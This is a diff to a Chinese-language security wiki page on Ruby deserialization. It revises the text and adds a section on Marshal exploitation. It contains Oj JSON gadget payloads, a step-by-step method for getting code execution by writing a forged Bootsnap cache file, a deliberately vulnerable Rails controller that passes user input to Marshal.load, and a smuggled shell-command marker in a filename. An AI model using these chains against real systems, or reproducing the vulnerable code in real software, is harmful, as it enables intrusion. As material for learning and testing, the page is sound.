@@ -942,7 +942,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。 +在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec,spec 会调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。 ```json { "^o": "URI::HTTP", @@ -954,7 +954,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转变为完整的 RCE,类似于: +此外,发现使用之前的技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转变为完整的 RCE,类似于: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -980,37 +980,89 @@ Oj.load(json_payload) ### Bootstrap Caching -这实际上不是一个反序列化漏洞,但这是一个很好的技巧,可以利用bootstrap缓存从rails应用程序中获取RCE,并进行任意文件写入(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 +这实际上并不是一个反序列化漏洞,而是一个利用 Bootstrap 缓存来从 Rails 应用程序中获取 RCE 的好技巧(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 -以下是文章中详细描述的通过滥用Bootsnap缓存来利用任意文件写入漏洞的步骤的简要总结: +以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结: - 识别漏洞和环境 -Rails应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于Docker的非root用户,只有某些目录如tmp是可写的),但这仍然允许写入Bootsnap缓存目录(通常在tmp/cache/bootsnap下)。 +Rails 应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于 Docker 的非根用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常在 tmp/cache/bootsnap 下)。 -- 理解Bootsnap的缓存机制 +- 理解 Bootsnap 的缓存机制 -Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动时间。它存储包含缓存键头的缓存文件(包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 +Bootsnap 通过缓存编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动时间。它存储包含缓存键头的缓存文件(包括 Ruby 版本、文件大小、修改时间、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 - 收集文件元数据 -攻击者首先选择一个在Rails启动期间可能加载的目标文件(例如,Ruby标准库中的set.rb)。通过在容器内执行Ruby代码,他们提取关键元数据(如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。 +攻击者首先选择一个在 Rails 启动期间可能加载的目标文件(例如,Ruby 标准库中的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(如 RUBY_VERSION、RUBY_REVISION、大小、修改时间和编译选项)。这些数据对于构造有效的缓存键至关重要。 - 计算缓存文件路径 -通过复制Bootsnap的FNV-1a 64位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在Bootsnap期望的位置(例如,在tmp/cache/bootsnap/compile-cache-iseq/下)。 +通过复制 Bootsnap 的 FNV-1a 64 位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如,在 tmp/cache/bootsnap/compile-cache-iseq/ 下)。 - 构造恶意缓存文件 攻击者准备一个有效载荷,该有效载荷: -- 执行任意命令(例如,运行id以显示进程信息)。 +- 执行任意命令(例如,运行 id 以显示进程信息)。 - 在执行后删除恶意缓存,以防止递归利用。 - 加载原始文件(例如,set.rb)以避免崩溃应用程序。 -该有效载荷被编译成二进制Ruby代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和Bootsnap的正确版本号)。 +该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。 - 覆盖并触发执行 -利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入tmp/restart.txt,Puma会监控该文件)。在重启期间,当Rails需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。 + +利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails 需要目标文件时,恶意缓存文件被加载,导致远程代码执行(RCE)。 + +### Ruby Marshal 实践中的利用(更新) + +将任何不受信任的字节到达 `Marshal.load`/`marshal_load` 的路径视为 RCE 漏洞。Marshal 重建任意对象图,并在物化过程中触发库/宝石回调。 + +- 最小脆弱的 Rails 代码路径: +```ruby +class UserRestoreController < ApplicationController +def show +user_data = params[:data] +if user_data.present? +deserialized_user = Marshal.load(Base64.decode64(user_data)) +render plain: "OK: #{deserialized_user.inspect}" +else +render plain: "No data", status: :bad_request +end +end +end +``` +- 在真实链中看到的常见小工具类: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`。 +- 嵌入在有效负载中的典型副作用标记(在反序列化期间执行): +``` +*-TmTT="$(id>/tmp/marshal-poc)"any.zip +``` +在真实应用中的表现: +- Rails 缓存存储和会话存储历史上使用 Marshal +- 后台作业后端和文件支持的对象存储 +- 任何自定义的二进制对象 blob 的持久化或传输 + +工业化小工具发现: +- Grep 查找构造函数、`hash`、`_load`、`init_with` 或在反序列化期间调用的有副作用的方法 +- 使用 CodeQL 的 Ruby 不安全反序列化查询追踪源 → 汇和发现小工具 +- 使用公共多格式 PoC(JSON/XML/YAML/Marshal)进行验证 + + +## 参考文献 + +- Trail of Bits – Marshal 疯狂:Ruby 反序列化漏洞的简要历史:https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +- elttam – Ruby 2.x 通用 RCE 反序列化小工具链:https://www.elttam.com/blog/ruby-deserialization/ +- Phrack #69 – Rails 3/4 Marshal 链:https://phrack.org/issues/69/12.html +- CVE-2019-5420 (Rails 5.2 不安全反序列化):https://nvd.nist.gov/vuln/detail/CVE-2019-5420 +- ZDI – 通过 Ruby on Rails Active Storage 不安全反序列化进行 RCE:https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization +- Include Security – 在 Rubyland 中发现小工具链:https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ +- GitHub Security Lab – Ruby 不安全反序列化(查询帮助):https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ +- GitHub Security Lab – PoC 仓库:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization +- Doyensec PR – Ruby 3.4 小工具:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 +- Luke Jahnke – Ruby 3.4 通用链:https://nastystereo.com/security/ruby-3-4-deserialization.html +- Luke Jahnke – Gem::SafeMarshal 逃逸:https://nastystereo.com/security/ruby-safe-marshal-escape.html +- Ruby 3.4.0-rc1 发布:https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 +- Ruby 修复 PR #12444:https://github.com/ruby/ruby/pull/12444 +- Trail of Bits – 审计 RubyGems.org(Marshal 发现):https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}}